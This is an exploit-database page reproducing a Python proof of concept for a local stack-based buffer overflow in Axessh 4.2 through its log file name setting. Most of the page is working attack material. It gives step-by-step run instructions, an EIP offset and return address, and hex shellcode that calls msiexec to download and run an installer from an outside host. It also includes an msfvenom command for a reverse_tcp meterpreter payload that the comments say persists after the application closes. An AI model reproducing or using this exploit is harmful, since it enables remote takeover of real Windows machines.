Axessh 4.2 log file name local stackbased buffer overflow Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-05-24 | Type : local | Platform : windows
This exploit / vulnerability Axessh 4.2 log file name local stackbased buffer overflow is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Title: Axessh 4.2 - 'Log file name' Local Stack-based Buffer Overflow
# Date: May 23rd, 2019
# Author: Uday Mittal (https://github.com/yaksas443/YaksasCSC-Lab/)
# Vendor Homepage: http://www.labf.com
# Software Link: http://www.labf.com/download/axessh.exe
# Version v4.2
# Tested on: Windows 7 SP1 EN (x86)
# Reference: https://www.exploit-db.com/exploits/46858

# TO RUN:
# 0. Setup a multi/handler listener
# 1. Run python script
# 2. Copy contents of axssh.txt
# 3. Open telnet_S.exe
# 4. Select Details >> Settings >> Logging
# 5. Select Log all Session Output radio button
# 6. Paste the contents in Log file name
# 7. Press "OK"
# 8. Press "OK"

# EIP offset: 214
# 0x050e3f04 : push esp # ret | ascii {PAGE_EXECUTE_READ} [ctl3d32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v2.31.000 (C:\Windows\system32\ctl3d32.dll)


#77da395c - Address of LoadLibraryA() for Windows 7 SPI x86
#777db16f - Address of system() for Windows 7 SPI x86
#77da214f - Address of ExitProcess for Windows 7 SPI x86

# Shellcode Reference: https://www.exploit-db.com/shellcodes/46281
# Payload command command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.163 LPORT=4444 EXITFUNC=seh -f msi > /var/www/html/ms.msi
# When the payload runs, it floods the system with Command windows and sends back a meterpreter shell. The shell does not die even if the user closes the application.


filename = "axssh.txt"

msiScode = "\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x5c\x39\xda\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x20\x2f\x71\x6e\x68\x2e\x6d\x73\x69\x68\x33\x2f\x6d\x73\x68\x36\x2e\x31\x36\x68\x38\x2e\x31\x32\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x89\xe7\x57\xb8\x6f\xb1\x7d\x77\xff\xd0\x31\xc0\x50\xb8\x4f\x21\xda\x77"

evilString = "\x90" * 110 + msiScode + "\x90" * 6 + "\x04\x3f\x0e\x05" + "\x90"*4 + "\x89\xE0\x83\xE8\x7F\x89\xC4\xEB\x81" + "\x90" * 800

file = open(filename,'w')
file.write(evilString)
file.close()